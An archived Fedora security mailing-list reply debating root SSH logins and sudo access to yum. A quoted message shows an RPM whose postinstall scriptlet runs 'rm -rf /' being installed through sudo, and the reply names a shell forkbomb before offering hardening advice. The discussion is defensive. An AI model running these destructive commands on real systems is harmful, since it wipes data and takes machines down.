Re: Security Changes For Fedora 9

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On Monday 14 January 2008 11:16:10 am Eric Rannaud wrote:
> On Jan 10, 2008 10:26 PM, Ville Skyttä <ville.skytta@xxxxxx> wrote:
> > On Saturday 05 January 2008, Kevin Fenzi wrote:
> > > I find root ssh login handy for a number of reasons:
> >
> > [...]
> >
> > > - It's nice to be able to do for automated tasks (like say installing a
> > > single new package on 20 machines without having to login and sudo on
> > > each).
> >
> > "ssh -t $host sudo yum install $package" works for me...
>
> What about (supposing I know the password of non-root user 'foo', and
> assuming that 'foo' can sudo yum):
>
> [hacker@tooeasy]$ rpm -q --scripts hacker_pkg.rpm
> postinstall scriptlet (using /bin/sh):
> rm -rf /
> exit 0
> [hacker@tooeasy]$ scp -p hackers_pkg.rpm foo@host:
> [hacker@tooeasy]$ ssh -t foo@host sudo yum localinstall --nogpgcheck
> ./hackers_pkg.rpm
>
>
> Am I wrong in assuming that yum is not necessarily a safe command to
> be used with sudo? Or more exactly, that there is no point in blocking
> root ssh logins if you're going to let a user that can login remotely
> use sudo on yum?
>
> Thanks.
>
Scary. At first glance it looks like a successful attack. But that wouldn't 
really be unusual.

If your authentication model is based upon passwords, and passwords escape, 
security is largely out the window. Using a wheel group, etc., can make 
things tougher, but once you have a bad guy on the system, escalation of 
privilege attacks are a probability, not a possibility. And they're usually 
an order of magnitude (at least) easier. Authorization seldom gets the 
attention that authentication does.

That's one reason (but not the major one) that I was asking about whether 
anyone was thinking about mounting /home noexec. It at least adds an extra 
authorization layer (though you still have to pay attention to authorization, 
to prevent attacks in the same vein as the one you've described), in making 
it harder to do things such as launching a dead-simple (`$0 & $0 &`) forkbomb 
attack at a critical moment (which can be devastating, depending upon how you 
have /etc/security/limits.conf set up).

The up side is that everyone should be on shadowed passwords, and random bad 
guys with a user account can't run cracking software against /etc/passwd. The 
downside is that if you have an undetected bad guy on the system, you will 
probably lose, in the end. If your attack fails, another will be found. If 
it's an order of magnitude easier for the bad guy, it's an order of magnitude 
worse for the admin. If you were 100% confident (hubris) of protecting the 
sytem before, you should now be 10% confident.

Assuming you're going to allow multiple users:

If you're going to base everything around passwords, at least read man(1) 
chage, beware of shoulder-surfing, etc. If you're doing keys, protect your 
~/.ssh. If you're doing two-factor, check out your vendor--some fingerprint 
scanners have been trivially defeated in the past, etc.

If thou should lose the Mighty Authentication Battle, thou whilst surely find 
thyself Groveling Amongst Backups.

> --
> Fedora-security-list mailing list
> Fedora-security-list@xxxxxxxxxx
> https://www.redhat.com/mailman/listinfo/fedora-security-list



--
Fedora-security-list mailing list
Fedora-security-list@xxxxxxxxxx
https://www.redhat.com/mailman/listinfo/fedora-security-list

[Index of Archives]     [Fedora Users]     [Fedora Desktop]     [Fedora SELinux]     [Big List of Linux Books]     [Yosemite News]     [KDE Users]     [Coolkey]

  Powered by Linux